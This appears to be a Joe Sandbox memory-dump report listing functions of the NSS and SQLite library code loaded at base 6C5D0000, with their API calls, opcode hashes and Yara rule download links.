Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: dc99fdfab89ac34ec3fa86b40dd7bb153d0672a5ef2d7a9d7c5f25918647dc43
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 7781C2706076038BFF144A19C8987A976E6DB65348F20843BE919CAFE1D774C4C6C67E

Function 6C663C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C663C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C663C94

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PORT_NewArena_Util.NSS3(00000800), ref: 6C663CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C663CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C663CE1

Part of subcall function 6C663090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C67AE42), ref: 6C6630AA
Part of subcall function 6C663090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6630C7
Part of subcall function 6C663090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6630E5
Part of subcall function 6C663090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C663116
Part of subcall function 6C663090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C66312B
Part of subcall function 6C663090: PK11_DestroyObject.NSS3(?,?), ref: 6C663154
Part of subcall function 6C663090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66317E

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction ID: c364a33a162b3cab99782b30ceca638fd2c88498a007c7874a8616c89b6714d6
Opcode Fuzzy Hash: 37702fe79f15d626da9a949ad4df8ef12ed3db8185a63b6b7c721495caa9bc7c
Instruction Fuzzy Hash: 0961C4B1A00201BBEB105F66DC45FA776B9EF05748F084439ED059AA52F731D815C7BA

Function 6C6A3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32 ref: 6C6A3D8B
EnterCriticalSection.KERNEL32(?), ref: 6C6A3D9F
PR_Unlock.NSS3(?), ref: 6C6A3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C6A3E4F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32 ref: 6C6A3E97
EnterCriticalSection.KERNEL32(?), ref: 6C6A3EAB
PR_Unlock.NSS3(?), ref: 6C6A3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3EEE

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction ID: 33748bc75c33f2b6808db6bc2b23d194167b81a2f5fb69110d018f46ca46ef4a
Opcode Fuzzy Hash: bef6d43a4f64d57c1488d4744d1574c422e85aff163b6754196420608c0f1de2
Instruction Fuzzy Hash: 33515571A002019FDB11AFA9D844BAA73B0FF46318F040579EE1947B12EB31EC56CBD9

Function 6C652C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(16F469E3), ref: 6C652C5D

Part of subcall function 6C6B0D30: calloc.MOZGLUE ref: 6C6B0D50
Part of subcall function 6C6B0D30: TlsGetValue.KERNEL32 ref: 6C6B0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C652C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C652CE0

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C652D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C652D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C652D3F
free.MOZGLUE(00000000), ref: 6C652D73
CERT_DestroyCertificate.NSS3(?), ref: 6C652DB8
free.MOZGLUE ref: 6C652DC8

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction ID: ac2a680c9fc11d6d124ae6a8217de67a126df86f60f2bdb909786b74df417293
Opcode Fuzzy Hash: 21bad56a28b45595a0de3e7d776560949eb925cfa8530ea0eafe33c260a0abf1
Instruction Fuzzy Hash: 5A510F72A042129BDB00DE68DC88B6B77E5EF84308F640638EC4583610E731E8258B9A

Function 6C657CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6540D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C653F7F,?,00000055,?,?,6C651666,?,?), ref: 6C6540D9
Part of subcall function 6C6540D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C651666,?,?), ref: 6C6540FC
Part of subcall function 6C6540D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C651666,?,?), ref: 6C654138

PR_GetCurrentThread.NSS3 ref: 6C657CFD

Part of subcall function 6C719BF0: TlsGetValue.KERNEL32(?,?,?,6C760A75), ref: 6C719C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779030), ref: 6C657D1B

Part of subcall function 6C6AFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C651A3E,00000048,00000054), ref: 6C6AFD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C779048), ref: 6C657D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C657D50
PR_GetCurrentThread.NSS3 ref: 6C657D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C657D7D
free.MOZGLUE(?), ref: 6C657D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C657DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C657E19

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction ID: b4899b585eb6979e0d872a6f68a2be636c4ac0a7575c05f478845f1263ebf321
Opcode Fuzzy Hash: 9cbf3057d22154c5eae94fd6906a4b35c1e66639b9909beb1fa43734010a9f64
Instruction Fuzzy Hash: 81411572A1011A9BDF008F699C45BAF33E4AF5135CF654224EC09A7B50E730ED29C7AA

Function 6C667EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6680DD), ref: 6C667F36
free.MOZGLUE(?,?,?,6C6680DD), ref: 6C667F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6680DD), ref: 6C667F5D
DeleteCriticalSection.KERNEL32(?,6C6680DD), ref: 6C667F94
free.MOZGLUE(?), ref: 6C667F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6680DD), ref: 6C667FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6680DD), ref: 6C667FE6
free.MOZGLUE(?,6C6680DD), ref: 6C66802D

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction ID: d42e9a6e724bae1ba5177ad3823ee47b840d89a84f9a7cf6aa6fd0b497b7976d
Opcode Fuzzy Hash: c3523099250f8b29ce27f2656ff5dcea27d9f9e99e0b08ca88d367200d1dfb1a
Instruction Fuzzy Hash: 2C41F7B1B061045BDB009FBA9C88E4A37B9AB47398F150639E51D97F40D731D409CB9E

Function 6C6AFEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6AFF00

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C6AFF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C6AFF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6AFF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6AFF8C

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction ID: b08efe629e4d9877bc7512828895ca26a07d10df1e7c910a11b11f40d1455db0
Opcode Fuzzy Hash: 15102e73518a88c1d086ea82b217a9e8fd870a3e126e7963a170be6ba9e0941a
Instruction Fuzzy Hash: E43128F29013229BE7108E948C40B9B76A8AF4A34CF140135ED18A7B41F770DD25C7DB

Function 6C5F7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5F7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5F7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5F7F2E

Strings

%s at line %d of [%.10s], xrefs: 6C5F7EE7, 6C5F7F28
database corruption, xrefs: 6C5F7EE2, 6C5F7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F7ED8, 6C5F7F08, 6C5F7F19

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction ID: 11a3d9d7ae6d9d489f8e2ae74219312032fe39294664de212c34a3fbbcbd539d
Opcode Fuzzy Hash: c2e68d1ca9f409165cfac63a79bfce4ea7393d0ab3e02b00ed413cccdf737d6c
Instruction Fuzzy Hash: 8961C170A002059FDB09CF29CC90BAA37B2BF45358F1448A9ED285BB52D730EC46CFA0

Function 6C5DFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5DFE83

Part of subcall function 6C5DFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5DFEFA
Part of subcall function 6C5DFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5DFF3B

Strings

%s at line %d of [%.10s], xrefs: 6C5DFD73, 6C5DFE35
database corruption, xrefs: 6C5DFD6E, 6C5DFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DFD64, 6C5DFE26

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction ID: f8b52f8f2e6dbdf8dbc5dd1c5b323f79f697c4421a8a330b48975e1c727e204b
Opcode Fuzzy Hash: 9a7c8e8db9d923da48674f8146a085e20669fe4fef29915c3e97d4d69f748306
Instruction Fuzzy Hash: B1518F71A002059FDB04CFADDD90AAEB7B1EF48308F154169EA05ABB52E731FD50CBA4

Function 6C722F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C722FFD
sqlite3_initialize.NSS3 ref: 6C723007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C723032
sqlite3_mprintf.NSS3(6C78AAF9,?), ref: 6C723073
sqlite3_free.NSS3(?), ref: 6C7230B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C7230C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C7230BB

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction ID: d40c16d559fc85d586ee09db67bec24a23d830ebd23b3cea79d6e5ea7edb4d8e
Opcode Fuzzy Hash: 730c050f35a21fc24e4be7c132324710734b3228a13605a4e0973480b7ce6acc
Instruction Fuzzy Hash: F941C271600606AFDB10CF25D944A86B7AAFF44368F148639EC2987B40E735F955CBE1

Function 6C6A5ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]jl), ref: 6C6A5F0A
TlsGetValue.KERNEL32 ref: 6C6A5F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C6A5F2F
PR_Unlock.NSS3(890008E8), ref: 6C6A5F55
PR_SetError.NSS3(00000000,00000000), ref: 6C6A5F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C6A5F7D

Part of subcall function 6C6A5220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C6A5F82,8B4274C0), ref: 6C6A5248
Part of subcall function 6C6A5220: EnterCriticalSection.KERNEL32(0F6C770D,?,6C6A5F82,8B4274C0), ref: 6C6A525C
Part of subcall function 6C6A5220: PR_SetError.NSS3(00000000,00000000), ref: 6C6A528E
Part of subcall function 6C6A5220: PR_Unlock.NSS3(0F6C76F1), ref: 6C6A5299
Part of subcall function 6C6A5220: free.MOZGLUE(00000000), ref: 6C6A52A9

Strings

q]jl, xrefs: 6C6A5EDB, 6C6A5F09

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079786406.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079809433.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079860864.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]jl
API String ID: 3150690610-1303710552
Opcode ID: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction ID: d09578a01e7b88a59bb3eafc0fe3ebecaa9497c84260a071ed4e689792d1ebe0
Opcode Fuzzy Hash: 2a10d3fcd7f3dcc7f39e12458bbdaea1c2d0b5102a11b6f95f64c804418a40e2
Instruction Fuzzy Hash: DB21D6B1D00604AFDB10DFA4EC45AEEB7B4EF09318F544039E90AA7700FB31A9558B99

Function 6C668CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C67124D,00000001), ref: 6C668D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C67124D,00000001), ref: 6C668D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D73
PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668D8C

Part of subcall function 6C6FDD70: TlsGetValue.KERNEL32 ref: 6C6FDD8C
Part of subcall function 6C6FDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6FDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C67124D,00000001), ref: 6C668DBA

Strings

KRAM, xrefs: 6C668D3E
KRAM, xrefs: 6C668CF9

Memory Dump Source

Source File: 00000000.00000002.2079452762.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2079429700.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079686444.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2079738874.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
